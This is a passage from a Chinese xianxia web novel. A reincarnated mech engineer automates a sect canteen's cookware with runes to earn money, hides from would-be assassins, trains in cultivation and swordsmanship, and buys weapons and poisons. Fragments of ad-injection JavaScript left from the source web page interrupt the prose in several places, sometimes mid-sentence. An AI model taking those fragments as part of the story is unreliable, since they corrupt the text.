符咒本身也并不限于雕刻在法器上,还能像符修一样画在纸上,更有甚者,修为高深时可以以天地为幕、以灵力为笔直接对战,虽然这种境界距离现在的她还很遥远。 通过解女妖的封印,她已经明白了两个世界铭文的许多共通之处,但是铭文失之毫厘谬以千里,修改一下玉扇糊弄许子墨可以,但现在她面对的是性命攸关的险境,决不能有一丝闪失。 孟莘沉下全副精神力,以令人瞠目的速度将整本书飞速铭记在脑子里。 酉时,钟声悠悠从沧溟山上传来。 众弟子纷纷从梦中惊醒,抹掉嘴角流下的口水。 面对这令人尴尬的场面,薛和泰不愧为外门长老,毫无芥蒂地拍了拍衣袍,站起身,笑呵呵扔下一句,“明日我们正式开始学我沧溟派的入门功法无相吟,今晚诸位就好好休息,为明天的功课做好准备。” “嘶,”许子墨嘀咕,“看这老头的样子,总觉得明天没好事。” “不重要,我只想赶快开始学剑,”彭笑寒将看了一半的剑法入门合上,招呼孟莘,“走吧,去食堂吃饭。” 然而她叫了一声,孟莘也没反应,过去一瞧,却看见孟莘端正坐在桌前,紧闭着双眸。 “睡着了?睡着了腰还挺这么直?”彭笑寒小声咕哝了一句,伸手就要去推孟莘肩膀,却被许子墨制止。 “别叫了,叫也叫不醒,人家在学习、在入定,”许子墨很有经验地直接在孟莘对面坐下来,“你等着瞧,她马上就要精神抖擞地带着一腔不知道哪里来的知识醒来了。” 彭笑寒用“你脑子没病吧”的眼神看着许子墨,许子墨但笑不语。 然而,没过多久,孟莘果然缓缓睁开眼睛,丝毫不见从梦中醒来的惺忪茫然,反而目光锋锐,仿佛火炼的刀从冰水中淬过。 “你真是在梦中学习啊?”彭笑寒呆呆地问。 “没睡着,是冥想、冥想!我这种三星的笨蛋想追上你们六星天才,当然得更集中更努力,”孟莘鬼扯一通敷衍过去,站起来推着彭笑寒和许子墨往外走,“该吃饭了,再不去真怕食堂里不剩什么热乎东西。” 许子墨扯了扯嘴角:“一听就知道今天祝师姐讲话时你开小差了,沧溟派可是名门,不至于供不起食堂,为了满足在各种古怪时间修炼的弟子,沧溟派的食堂是不会关闭的,你什么时候去都能吃到新鲜的。” “那在食堂干活一定赚很多吧。”孟莘第一反应就是羡慕地心动,毕竟她和家徒四壁也没什么区别,往后修行少不了要用钱的地方。 但下一秒,她脑中灵光一闪,摸着下巴,感觉自己找到了活过今天的办法。 “我辈修士,怎么能计较钱财这种俗物,”彭笑寒不赞同地摇摇头。 许子墨冷笑,指着彭笑寒跟孟莘打赌,“你就听她鬼扯,她可是要当剑修的人,我敢赌不到一个月她就得抱着自己的荷包哭爹喊娘。” 不知道为什么,一向跟许子墨吵嘴的彭笑寒突然沉默了下去,但其他两人都没察觉。 孟莘讪讪地举起手,“我觉得我未来也不遑多让。” “啊?”许子墨挠了下头,因为初遇那天孟莘露了一手,他还以为孟莘铁定要做符修的,符修可是相当滋润的,“还有什么跟剑修一样费钱的行当吗?” “有,”孟莘不胜唏嘘,“我准备当器修。” 许子墨沉默了。 器修,一个成为炼器大佬以后天下人趋之若鹜,但是没出师前被认为和铁匠差不太多的类别,没人捧着材料让器修铸造的话,那......仿佛只能自己花钱买材料了。 许子墨同情地拍了拍孟莘的肩膀,“那我只好祝你在这条艰难的修道路上取得成功了。” 一路说着,三人抵达了食堂。 沧溟派的食堂足有四层之高,菜谱涵盖五境所有菜系,品种丰富香气逼人,让人才走到门口,肚子就已经被勾得咕咕叫了。 当然非常可悲的是,孟莘吃不起。 沧溟派为所有弟子免费提供食物,但仅限白馒头和热汤,饿不死就行。想吃好的?那简单,花灵石或者贡献点买。 李岩还她的钱兑换成灵石以后只有区区几块,孟莘实在承受不起这种奢侈享受,端着一盘子馒头跟彭笑寒许子墨会和。 只见许子墨面前,天京葫芦鸡、芙蓉八宝羹、紫云雪花酥摆得满满当当,而彭笑寒似乎因为许子墨的话,收敛许多,但也荤素俱全。 孟莘有种想掉头走掉的感觉,跟他们两一起吃,这馒头更难下咽了。 “你......就吃这个?”彭笑寒看着孟莘盘子里白花花的馒头,眉头皱成一个川字,把自己的碟子往孟莘跟前推,“吃我的吧。” “对对对,明天还要练习功法,今天吃这个怎么行?”许子墨夹了一筷子鸡腿,就要塞到孟莘碗里。 孟莘通通推了出去,她笑着婉拒,“谢谢你们两的心意,不过无功不受禄,我又不只是今天过得穷,难道以后天天都要靠你们两接济?” 彭笑寒严肃地看着孟莘,她说话直接,从不避讳,“你难道是觉得我们两请你吃饭是嗟来之食?如果你觉得不好意思,那以后还我们就是了,修炼一途道阻且长,以后你修炼有成,成为人人敬佩的器修,自有大把人捧着灵石求你铸法器,何必拘泥于一时?” 许子墨附和:“没错没错,看看你现在都瘦成什么样了,昨天在丹墀吐血差点吓死我,十五岁正长身体,现在落下了,你往后修炼只怕事倍功半。” 孟莘眯起眼睛笑了笑,“没事,你们两放心吃,我当然也知道轻重,这馒头是我拿来垫垫肚子的,省得待会没力气干正事,如果不出意料,今晚我甚至还能请你们两吃小点心。” “啊?”彭笑寒许子墨两人都是一头雾水。 只见孟莘慢条斯理地吃完,然后踱步到食堂做馒头的那个窗口。 这家店的人是最多的,尽管高阶修士不差钱,但是沧溟派何其大,在底层没有出头之日的弟子们何其多, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 维持修行所需就已经足够拮据,能薅门派的羊毛节省一点,自然不会错过。 孟莘直接跟后厨的大娘话家长一样聊起来,她幼年在蛮荒星摸爬滚打长大,不怵跟人套近乎,“大娘,我就吃个饭的功夫,看您店里来的人就没停过,比别家忙几倍,想必肯定比别家赚得多吧?” 大娘一听这话,从后厨里抬起头,眉毛倒竖,“怎么可能!我这店免费给弟子提供,做多做少,沧溟派都给一样的价钱,弟子一年比一年多,这店也是越来越累喽,你看看其他家的,赚的是真的多,但也是没办法,想在沧溟派做别的,需要门路,我可挤不进去喽。” 孟莘笑笑,“大娘,您别这么说,虽然别人家运气来了赚得好,但您至少旱涝保收啊,只要每天的活计减轻一些,那日子就舒服多了。” 大娘一听,警惕地看着她,心想这小弟子不会是想在她这里找活干吧,“小姑娘,我这里可没多余的工钱给你哦。” 孟莘摇了摇头,煞有介事:“我不是来找活干的,我是来帮您的,您之所以忙成这样,是因为样样都得您亲力亲为,根本得不了空闲,我帮您刻个符咒,让您这些厨具自己看管自己,您不是就能得空了?” 大娘一呆,随即立刻睁大眼睛,“你说真的?” “我又不收钱,还能骗您不成?”孟莘笑眯眯道。 “那你......试试吧。”大娘打开后厨的门,放孟莘进去。 孟莘在外面就已经观察过了,进门又挨个把各种厨具看了一圈,很快就敲定了需要做的工作。 在星际时代,各种工作都被高度自动化了,孟莘还在蛮荒星的时候,就制作和修理过各种自动化机器人,这种铭文对她来说都是小意思,虽然在这边无法达到星际时代的标准,但减轻厨师负担却轻轻松松,而且因为相当基础,所以对灵力也没有什么负担。 她在厨房里挑了几样简易的工具,开始了对厨具的敲敲打打。 大娘怕她把厨具弄坏,好几次都想上前阻止,但最终想着“她人就在沧溟派跑不了”,来回默念几遍硬生生忍住了。 许子墨摸着下巴感慨她这副娴熟的模样,“难怪要做器修,看着确实老铁匠了。” 彭笑寒由衷赞同地点点头。 孟莘万万想不到自己堂堂首席机甲师被诋毁成了铁匠,她抹了把额头上的汗,终于到了铭刻符法的环节,一摸腰,发现换了衣服以后短刀没带,于是念叨着“借您的刀一用”转身去拿,却赫然只看到了一把菜刀。 偏偏这时候许子墨在外面惊呼了一声:“我去,这种刀你都能用得来啊!” 孟莘:“......” 其实是从没用过这玩意的。 一如昨日丹墀上牵着绳子的许子墨,此刻孟莘也对他杀心四起。 但彭许二人、大娘夫妇、还有其他店家的人都好奇地伸长脖子注视着,箭在弦上不得不发,孟莘只得硬着头皮拿起菜刀,“咳,境界高了,确实是飞花走石都是武器。” 只见那个孱弱少女,握着一把和她气质极其不相符的菜刀,对准了笼屉,快而准地刻了下去。 9. 第 9 章 用菜刀雕刻符咒这种修真界离谱画面,竟也能被孟莘表现得如庖丁解牛般风轻云淡,让人恍惚觉得她不是什么刚入门的普通外门弟子,而是某位久经磨砺的大师降临到此地。 孟莘动作极快,今天读的那本书,让她彻底把两个世界的符咒统一了起来,因此下手时毫无阻滞,行云流水,让人看呆了去。 不到一炷香的时间,孟莘收刀、停手,回身看着大娘,“好了。” “这就好了?”大娘惊疑不定。 孟莘把刀擦干净,放回原位,“试试不就知道了?” 大娘搓搓手,走上前,“怎么试?” 孟莘招呼外面的彭笑寒和许子墨,“借我点灵石用用。” 两人二话不说,立刻抛了两袋灵石进来,孟莘接过,哭笑不得,“其实有一两块就够了。” 她把灵石放在自己留出的凹槽内,这种外置机关必须有能源驱动,在这个世界上,就只能用灵石了。 随即,从面粉搅拌开始,到笼屉蒸煮结束,这个简易机关非常顺利地完成了全部步骤,孟莘掀开笼屉,白白软软散发着热气的馒头整整齐齐摞在那里。 大娘抓起一个,撕开看了看,又小心翼翼地咬了一口,然后眼睛顿时笼上了一层火热。 “小姑娘,啊不,小仙君,您真是神了!您说您这,我该怎么报答您才好?” 孟莘心虚地摆了摆手,“谈不上谈不上,也不用什么报酬,顺手而为罢了,这套铭文也是需要灵石才能启动的,不过比您雇帮手要划算多了。” “这!您是真仙人啊,”大娘眼里更加崇敬,下定了什么决心似的,转身一拍桌子,支使她老伴,“去装一百灵石回来,我们可不是那种不知恩图报的人!” * 不多时后,孟莘便拎着袋子从后厨出来,把彭笑寒和许子墨的灵石还给他们,笑道:“怎么样?我没说错吧。” 许子墨立刻鼓掌,“你真是个赚钱小能手,我从一开始就知道你是个人才,我果然没看错。” 彭笑寒则仿佛孩童第一天发现某个果子能吃一样,喃喃道:“我以前从没想过,原来修士还能做到这种事。” 孟莘回头,看着终于解放了双手而手舞足蹈的大娘,叹了口气,“其实我刻的铭文连灵力都不怎么需要,并不如何困难,只是这沧溟派坐拥无数修士高人,从不肯低头看一眼站在地上的凡人罢了。” 其他两人都陷入沉默。 身居高位的人会发出何不食肉糜的感慨,正如作修士久了,竟也忘记在这片大地上最平凡而最普遍的芸芸众生。 “诶我说,咱三在这愣着干嘛?怎么样,去给你加餐?”许子墨仿佛对沉重气氛过敏,伸手打了个响指,嘻嘻笑着打岔。 孟莘摇了摇头,意味深长地说:“我刚才跟大娘说不要报酬并非欲擒故纵,这一百灵石算是意外之喜,我指的甜点,还得再等等。” 左右是第一天入门,没什么正事要干,许子墨又买了碟甜点,撑着下巴就等着看戏,彭笑寒也掏出来了剑修入门手册,在等孟莘的空隙翻看起来。 不多时,果然其他店主搓着手掌走到了孟莘身边,小心翼翼地问:“仙君,冒昧打扰您,不知道您什么时候有空闲,小店可否请您也帮我们改造一下厨具?” 孟莘微微笑道:“您是哪家店?” 店主指向自己身后的面馆,孟莘飞快在心里过了一遍,成胸在竹地点点头,“当然可以,我现在就可以改。” “真的?”店主大喜,然而半天没见孟莘挪动一下,又犹犹豫豫地问:“小仙君,您还有什么顾虑?” 孟莘咳嗽了两声,给另外两人使了个眼色。 人精许子墨立刻拎起桌上的一袋子灵石唉声叹气:“明天还有一大堆功课要学,没点灵石补充灵气,真怕明天抗不过来啊。” 彭笑寒慢了半拍才反应过来,但为了舍友,还是硬着头皮生硬地说:“嗯......这个装灵石的袋子真好看,再来一个就更好了。” 店主懂了,立刻从自己的芥子囊中拿出一袋灵石,推到孟莘身前,“小仙君,这一百灵石是给您的酬劳,还请您收下。” 孟莘笑呵呵地把那袋子灵石推回去,直接了当地说:“实不相瞒,一百灵石是只给那间店的特别优惠,他们家为所有弟子免费提供食物,我受他们好意,不能不回报,但除此以外,我们就按正常生意来算吧。” 店家汗颜,看来不能把对方当做头脑简单、吹嘘两声就找不着北的笨蛋来看了,他在心里计算了一下,咬牙报出数字:“五百灵石。” “成交,”孟莘干脆地拍板,顺便补充道:“只要我还在沧溟派一天,坏了你尽管来找我修理,免费。” 这个价格虽然肉痛,但是长期来看,店里还是赚的,店主乐呵地弯起嘴角,把五百灵石递过去,殷勤道:“小仙君您稍坐,我去给您和您这两位朋友端些茶点,解解闷。” 看着店主轻快远去的步伐,许子墨给孟莘比了个大拇指,“生财有道,佩服佩服。” “哪里哪里。”孟莘谦虚道。 “我不明白......”彭笑寒迷茫地看着那袋灵石,“既然作为修士不应该忽略没有修为的普通人,为什么还要多收取这么昂贵的费用呢?” “这是究竟是哪里来的不食人间烟火的小公主啊?”许子墨摇头失笑。 彭笑寒没有反唇相讥,她原本就比他们矮一个头,此时昂着巴掌大的白瓷小脸、睁着迷茫的眼睛,活像只被打湿了的小猫。 孟莘实在没忍住,上手摸了摸彭笑寒毛绒绒的小脑袋,也不知道这姑娘到底是什么身份,对人情世故一派天真,却又直来直去梗着脖子求解,是很容易吃大亏的类型。 但孟莘上辈子在皇太子殷如是那里吃够了人精的苦,现在最最喜欢这种没心眼的人了。 她耐心地解释:“因为大家都是有手有脚在这个世界上努力生活的人,只不过我们靠修炼灵气,他们靠这门手艺。他们付钱,我帮他们解决问题,价格合理,我们双赢,这是一项平等的交易。修士不该藐视他们,但也没资格高高在上地怜悯他们。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 彭笑寒若有所思地垂下头。 孟莘叹了口气,又摸了摸彭笑寒的小脑袋,随即给许子墨比了个手势,示意他看着点彭笑寒。 许子墨点点头,顿了一下,又站起身,规规矩矩地对她拱手一礼。 孟莘还了一礼,心想这个世界上,哪怕是人精,也比殷如是可爱多了。 * 当晚孟莘的生意格外火爆,到了就寝时间,孟莘找到食堂管事的人,图穷匕见,终于道出了她今晚整这一出最重要的目的。 “您看方不方便,允许我今晚就睡在食堂,抽几张凳子就行,主要也是想节省更多时间帮大家改进厨具,毕竟晚上客人少,占用工具不会太影响生意,这样大家白天就可以直接用到新厨具了。” 孟莘说话时眼神真诚,言辞恳切,管事和众店主顿时感动得热泪盈眶。 小仙君不但不像其他修士一样拿他们当空气看,还用术法减轻他们的劳累,甚至为了让他们早些享受到新厨具,还不惜牺牲自己的休息时间,多好的小仙君哪! 他们对这种要求哪有不依,甚至合力在一个空着的杂物间铺好一张床,让孟莘能舒舒服服地睡个好觉。 当晚孟莘保证了安全,店主们得到了改良后的厨具,皆大欢喜下,只有蹲守在宿舍外面的高矮胖瘦四人受到了伤害。 寒风凛冽中,四人蹲守了快一个时辰,终于确定孟莘是不会回来睡觉了。 高个哆嗦着抱紧胳膊,懊恼道:“她肯定是猜到我们要杀她,不知道躲哪去了!以后她也不落单的话,我们根本没机会下手。” 瘦子狠狠一咬牙,“不妨事,上课睡觉她能躲到人群里,但外门弟子要轮流看守巡逻,我们去贿赂排班的人,把她排到晚上没有人烟的地方,她能怎么躲?” 矮个被启发了:“如果她偷偷换人,我们就举报给薛长老,她不遵守门规,罚到禁闭室,正好让范师兄教训她!” 四人商量妥当,在西斜的月亮下潦倒远去。 * 次日,早钟敲响,晨光熹微。 外门小弟子们揉着惺忪睡眼走到讲堂时,屋子最后早已有蓝裙少女支着下巴,聚精会神读书了。 正是睡在食堂,离得近所以来得早的孟莘。 食堂的订单太多,她完成了三分之一,还能再躲两天,但两天时间也是够紧张了,她必须抓紧时间提升自己。 许子墨一进门就兴冲冲跑过来,“快告诉我,你一晚上赚了多少?” 孟莘哼哼了一声,才慢吞吞回答:“已经收了全部的订金,一万五左右吧。” 许子墨由衷地钦佩:“刚入门的外门弟子,一晚上就赚这么多,太厉害了。” “也就赚这一笔了,”孟莘坦然说,她知道这也算运气,短期内她是找不到这么赚的活了。 不过她也没那么贪得无厌,她跟食堂大娘打听过了,沧溟派有条醉月长廊,各峰的内门弟子们会在那里摆摊出售丹药武器等东西。 这一万多灵石,让她终于有了在那五个凶手手下,活下来的可能性。 10. 第 10 章 彭笑寒也走过来,认认真真地说:“你就是很厉害。” 以孟莘对彭笑寒的了解,彭笑寒应该不只是夸她会赚钱,她眨了眨眼,意有所指:“你也会的。” 彭笑寒最近在孟莘和许子墨的影响下,情商大幅提高,这次听懂了,“谢谢。” 薛和泰——外门掌事外加他们的经法课老师——捻着胡须走了进来,笑眯眯看着下面这群小崽子们。 “昨晚休息好了吧?今天我们开始正式学习我沧溟派的入门功法《无相吟》,想必你们以前就自行吸纳过灵气,更有甚者,或许用过一些其他功法来辅助修炼,但学过无相吟,我相信会打开你们对修炼的新大门,毕竟普天之下,功法能胜过我们沧溟派的,恐怕数不出几个。” 孟莘现在最大的问题就是只有炼气一级,没什么灵力,导致自己只能刻一些低级铭文,稍稍高级一些,她的识海撑不住也无法驱动。 她立刻正襟危坐,眼神热切,翘首企盼薛长老把功法书发下来。 薛长老长袖一挥,四十多道波光粼粼的光幕飞到众弟子眼前,烫金的文字瞬间映入所有人眼中。 孟莘毫无防备,下意识看去,但只读到一半,光幕就从底部开始焚烧。 孟莘:“?” 孟莘大惊,集中全部注意力飞快往后看,这才勉勉强强读完,飞快开始默记。 “哈哈哈,”薛长老大笑,看着下面这群惊慌失措的小崽子们,戏谑道:“这是我沧溟派的意念传递之法,只要对上了你们的眼睛,功法就已经在你们脑子里了。” 孟莘:“......” 是她这个星际人类对修真世界没有足够的想象力了。 薛长老逗完小弟子们,淡淡道:“这是为了防止我们沧溟派功法外流,你们只能自己修炼,无法讲述也无法传给他人。好了,你们修炼吧,我会在旁盯着,以免你们出什么岔子。” 孟莘对这个保护知识产权的术法顿时产生兴趣,不过只能往后稍稍,此时,她的首要任务就是尽快掌握《无相吟》,提升自己的灵力。 她沉入识海,生疏地按照功法指引,游走经脉,慢慢吸纳起灵力。 * 薛长老是玄明境高手,以心观照,便能从天地间的灵气流动中,看出诸弟子们对《无相吟》的化用是否得当。 《无相吟》虽然只是入门功法,但却是夯实沧溟派弟子们修炼之基的必经之路,它并不好学。 如果只要有无上功法就可以得悟大道,那天下就不会只有十几位渡劫期了。人与人的领悟力天生有所差异,仅在修炼之初就能看得出往后的可能性。 薛长老叹了口气,飞身到两名弟子身前,凝气到指,点在二人百会穴上,传音叱道:“经脉逆行!停下重来!” 每年都会遇到这种修炼功法差点把自己炼化的,薛长老很无奈,不过今年嘛,却有几个资质相当出众的弟子。 许子墨彭笑寒最佳,六星识海的天赋不是盖的,天地间的灵力尤为偏爱地向这两人涌去,并且那运行方式,决不是《无相吟》。 薛长老含笑道:“你二人都已在筑基二级,看来你们所修功法不错,不过既然不是我门功法,我也无法指点你们,谨记不要走火入魔。” 彭笑寒被老师现场抓住没修《无相吟》,有点心虚地点点头,“知道了。” 许子墨倒是自来熟,笑嘻嘻跟薛长老打趣,“我还以为您要问我修的是哪来的功法呢。” 薛长老淡然道:“既然入了我沧溟派的门,那往后就是我沧溟派的人,你们以前是什么来历,又有什么重要。” 许子墨讪讪点头,“您说的是。” 而在六星以下,以两位五星为优,已经达到了炼气八级,《无相吟》运转得相当出色。 薛长老提点了一声:“杜雨兰、杜景辉,以你二人天赋,一个月内必能筑基,切记不要急功近利。” 杜雨兰、杜景辉乃孪生姐弟,因为天生五星识海,自幼在家族众星捧月,哪里想到会在同届遇到两个六星,被衬得黯淡无光。 偏偏六星也就算了,在六星之外,最为出名的竟然也不是他们,而是那个三星孟莘,两人早都憋了一肚子闷气。 如今终于被老师特意点出,杜雨兰、杜景辉连忙称是,心中大喜。 薛长老捏着胡须暗叹这届好苗子不错,突然察觉到后排传来不正常的灵气波动,蓦然回头望去。 * 却说孟莘在把《无相吟》运转了几圈以后,发现薛长老没在吹牛,这功法确实相当厉害。 女妖的封印在她身上造就了一个悖论,那就是寻常人的识海大小和星数是相匹配的,识海广阔那吸收灵力也更快,相得益彰,但她不是,她面对的是七星识海的大小和三星的灵力吸纳速度。 以七星识海的大小,没有功法支持,吸纳灵力无异于精卫填海,往上攀登一级难如登天。 而现在,有了《无相吟》的指引,外加孟莘通过强大的精神力确保灵气的凝练,终于弥补了一点星数的缺陷,周围天地的灵气被她鲸吞般引入自己饥渴已久的识海。 久旱逢甘霖,她识海底部前日透支出的裂缝被一一抚平,沁凉的灵力让她脑内霎时明净如镜。 孟莘这才明白自己之前过得有多匮乏,愈发渴求地吸收起来。 突然,她头皮一麻,有股陌生的气息试图侵入她的识海!她猛地从入定状态抽离出来,身体下意识地往后仰去。 薛长老:“???” 他发觉孟莘周围的灵力流动不太寻常,一时竟然看不出她该是几星,遂过来一试,谁想他一个玄明境高手的意识,竟然被一个区区炼气一级察觉到了? 他探查识海的手僵在了半空。 孟莘警惕地看着他,“您这是做什么?” 薛长老咳嗽了一声,若无其事地把手收了回去,“你叫什么名字?领悟力还不错,《无相吟》学得很好,是几星?” 弟子这么多,他自然记不住所有人的名字和天赋等级,只有六星五星值得他记住。 而这个小姑娘的灵力吸纳速度,却是在四星到五星之间波动,真是古怪。 孟莘确定了他并无恶意以后,才回答:“我叫孟莘,是三星识海。” “几星?”薛长老疑心自己听错了。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “三星。”孟莘奇怪地看了他一眼。 薛长老心中惊诧,一个三星怎么会有这种可怕的吸纳速度?但很快他想到自己的探查被她轻易发现,遂明白了过来。 一般来说,灵气被收拢到体内,总会有溢出的,而她通过极强的精神力保证了自己没有一丝浪费,用质补了量。 如此之强的领悟力和精神力,然而底子太薄,上限太低,往后难有大成。唉,怎么偏偏只是三星呢?但凡是个四星,都能给自己挣个未来,当真是......太可惜了。 孟莘看到薛长老一会睁大眼、一会又点点头、一会又欲言又止,她一头雾水,小心斟酌着问:“是有什么问题吗?” 薛长老摇摇头,怜悯地看着她:“你好好修炼吧,天道酬勤,兴许未来会有你的造化。” 孟莘:“......啊?” * 薛长老在午时下课,“诸位不可荒废修炼,月末的内门考核达到筑基期的才能参加,你们之中只有彭笑寒和许子墨到了这个境界,留给你们的时间可不宽裕。” 众人对两位六星更加仰慕,偏偏昨天在宿舍前闹得不愉快,一时竟不知该如何去亲近。 彭笑寒和许子墨倒是全然不知,一左一右挟着孟莘往食堂走。 左边许子墨问:“薛老头怎么会突然盯上你,肯定有问题!” 右边彭笑寒帮腔:“我也发现你修炼时不太对劲,不像三星的样子。” 孟莘淡定地以毒攻毒:“那你们不比《无相吟》差的功法又是哪里来的?” 看两人立刻一个背着胳膊吹口哨,一个抬头望天不说话了,孟莘没忍住笑了出来,她装模作样叹了口气:“看来大家都有点不能让人知道的小秘密呢。” 彭笑寒咬了下牙,突然说:“我的秘密是个麻烦,现在我还没有能力解决它。” 许子墨一怔,“巧了,我的秘密很危险,现在我无论如何都敌不过对方。” “嗯,非常巧,”孟莘拍了下手,指着自己说:“我的秘密性命攸关,但现在我连解开秘密的人都找不到。” 三人面面相觑,竟发现无论说这话时语气如何,但各自的眼神都是认真的。 “如果......”彭笑寒想了想,缓缓道:“你们遇到麻烦时我还活着,无论敌人有多强,我都可以帮你们去打。” “呦,那我哪敢劳烦您大驾?”许子墨手背在脑后,懒洋洋地加码:“你们两一个容易被骗的直肠子,一个会吐血的老铁匠,还是靠我吧。无论在什么地方、离得有多远,嘿嘿,我手长。” 孟莘“嘶”一声,这两人把话都说尽了,搞得她都没词可说了,只好往天花乱坠里说:“那看你们两都要闯大祸的样子,我只好给你们兜底了......嗯,无论多大的篓子,我给你们兜着。” 这话一出,彭笑寒和许子墨纷纷投来一个白眼:“少来!” 这一天他们还相识不久,沧溟派天朗气清,少年少女们站在人群中散漫地信口开河。 这时的他们都还只是无名之辈,谁都没把对方的话当真,尚且不知这些随口承诺未来都会一一兑现。 11. 第 11 章 如果说早上的经法课孟莘收获颇丰的话,下午的剑术课就只能用愁云惨淡来形容了。 剑术课的老师是长老邵鸿轩,看上去比薛长老年轻一整辈,却比薛长老严厉一整倍。 “把你们的胳膊都给我抬好!堂堂剑修,连剑都举不稳,还有脸在沧溟派混下去?” “不打算当剑修?哼,那等你们有本事进内门再说,既然现在在我这,就规规矩矩给我学!” “这一剑挥得像什么样子?重来!不挥够一千下就别想下课!” 也不知道这剑是什么材料做的,重得非常离奇,除了彭笑寒,其余四十多名新弟子纷纷用崩裂的表情艰难地挪动着胳膊,孟莘尤甚。 别说孟大首席是个纯粹的文职人员,就算她上辈子是个战斗意识绝佳的勇士,现在这具身体也发挥不出来。 长期营养不良的后果是显著的。彭笑寒已经完成全部,剩下大多数人也都挥到了九百下,只有孟莘还在遥远的六百下。 邵鸿轩踱步过来,站在她面前,脸色难看地扫过她那双细胳膊,“就你这个身体,还是个三星,这辈子做修士是没有前途了,不如早点下山去吧!” 孟莘本来就累得要死要活,他讲话还这么难听,她脾气上来,咧咧嘴就挤出一句:“我用两瓶注灵丹换来的入门机会,你说让我下山就下山?你把注灵丹赔我?” “!”邵鸿轩万万没想到她还敢怼回来。 脾气不好的老师总爱说“你是我带过最差的一个弟子”、“再学不好就给我滚蛋”,只起到情绪作用,并不代表字面含义,然而她弱成这副鬼样子,竟然还敢挑衅老师? 邵鸿轩抿了下嘴,冷笑道:“好,你叫孟莘是吧,你等着,只要你还上我的课一天,我让你自己求着下山!再多加五百下!” 仇多不压身,挥剑挥到生无可恋的孟莘摆烂了,“随便。” 挥一千下是死,挥一千五百下也是死,反正都是死,她也是看不出什么区别了。 剑术课酉时下课,其他人早都结束了,对宿舍里的床归心似箭,只有孟莘还差了两百下。 孟莘轴着不跟邵鸿轩认错,邵鸿轩堂堂一玄明境长老竟也轴着不走,就坐在她对面,非要看着她练完,一下也不许她偷懒。 彭笑寒见此画面,轻声感慨:“她身体这么虚弱,都不放弃这种变强的机会,是我懈怠了,我怎么能认输。” 随后她把邵鸿轩发的长剑换成了自己那把更重的,开始主动加练。 日头西斜,在赶往食堂和宿舍的大潮中,唯这一师二徒如此醒目。 许子墨嘴角一抽,“沧溟派能聚齐您三位奇葩也是不容易啊。” “许师兄,要不要一起去食堂?”一道女声从后传来。 许子墨才入门,辈分最低,竟有人尊称他一声师兄,他大为好奇,转身一看,只见杜雨兰、杜景辉姐弟笑着走来。 杜雨兰主动打招呼:“明天还要继续修习功法,我们准备早些回去休息,许师兄要不要一起?” 他们姐弟两有心和许子墨彭笑寒结识,同届弟子中,只有这两人和他们有望进入内门,往后少不得互相照应,可惜这两人总和孟莘呆在一起,今天好不容易碰到这种落单的机会,自然不能错过。 “我们是同辈,叫师兄也太客气了。”许子墨笑笑,指向后面挥剑的那两人:“你们先走吧,我大概还等一阵。” 杜景辉顺着他指的方向一看,在孟莘和彭笑寒身上转过几个来回,微妙地笑了一下,“你和彭师姐也真是大度,耽误自己的修行也要照顾孟师妹,孟师妹要是懂事点就好了,早点跟邵长老认个错,也不至于连累你们陪她。” 许子墨挑了挑眉,终于搞清了这两人划分辈分的逻辑,遂板起脸,义正言辞:“什么叫我们陪她!杜师弟杜师妹,这是修行、是变强的必经之路,你们现在连筑基都没有,是不是懈怠了?是不是没有努力?有没有好好反思过自己?咳,总之,两位,我该去努力了。” 他上去拎起剑也练了起来,剩下姐弟两呆滞在原地。 许子墨心里不胜唏嘘,唉,彭笑寒说得真没错,和势利鬼说话真讨厌。比起来,在场上挥剑的奇葩们就可爱多了。 * 孟莘挥完最后一剑,直接瘫倒在了地上。 这时日头已经彻底落下,邵鸿轩盯着看完,对此一言不发,拍拍屁股走了,只对着主动加练的彭笑寒和许子墨赞许地夸了两句。 许子墨也累得够呛,只有彭笑寒还算精神,看上去甚至还能再练一会。 不过她还是知道轻重的,收起剑,看着瘫着的两人,“要不你们两先回去休息,我带饭给你们两好了。” 许子墨连忙道谢:“好好好,救大命了。” 孟莘瘫了一会儿,缓过劲来,直接回绝:“不用,你们回就行,我待会还有点事,办完了还要去食堂改厨具,今晚继续睡食堂。” 彭笑寒被她这种非人行为震惊到,备受刺激,“那我多练一会再回去好了。” 许子墨已经无话可说了,只能对她们两竖了个大拇指。 * 孟莘拖着疲惫的身体,艰难地抵达了醉月长廊。 醉月长廊横跨一整片树林,起头的凉亭里可以买到面具,面具有隐藏气息的效果,方便弟子们买卖一些不太能见人的东西,而不必因此社死。 孟莘不得不感慨这真是太贴心了。 虽然一张面具就得五十灵石,不过以后也用得到,不亏。 她选了一张狐狸面,戴上前,特意翻看了一下上面的符文,虽然现在她还刻不了,不过记下来总是没错。 长廊里没有点灯,而是在四壁镶嵌着散发幽蓝荧光的矿石,足够客人看清商品,但往来人影却模模糊糊的。 孟莘先看的是武器。 从钩刺到长枪,这里卖的武器种类应有尽有。 摆摊的师姐热情地招呼:“想买武器?我首推这把破隐刀,刀刃锋利无比削铁如泥,绝对好用!” 孟莘摇了摇头,今天挥剑让她意识到,再好的武器,如果不能和身体相适应,那反而是拖累,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我需要锋利、隐蔽又轻便的武器。” “好嘞,”师姐立刻从身后拎出一个新箱子,打开推到孟莘面前,“这些全都小巧灵活,威力也不差,五百灵石一件。” 最后孟莘挑选了一对峨眉刺和一把袖箭,她制作机甲时两只手都是常用手,算得上灵活,轻巧的双手武器用起来容易上手,袖箭则是以防万一。 她接着去买药。 卖药的师兄听到她紊乱粗重的呼吸,连忙推荐道:“这里有补气丸,服下一粒就可以舒筋活血、减轻疲劳,一粒五十灵石,要不要?” 就快累死,并且之后的日子一样会累死的孟莘无法拒绝这种诱惑:“......我要三十粒,打个折,一千二怎么样?” 师兄眼珠子一转,“嘿嘿,你要么多买点别的,我就给你打折。” 孟莘最后花了四千灵石,带走了三十粒补气丸、三十粒补灵丹,三瓶毒药和五滴化尸水。 她本来还想买护身法器,尤其看中了一双穿上就能快速遁走的鞋,结果一问价格,一万灵石。 孟莘:“......” 对不起打扰了。 “这位同门,想提高身法?要不要看看我的神行符啊?只要一张一百啊!” 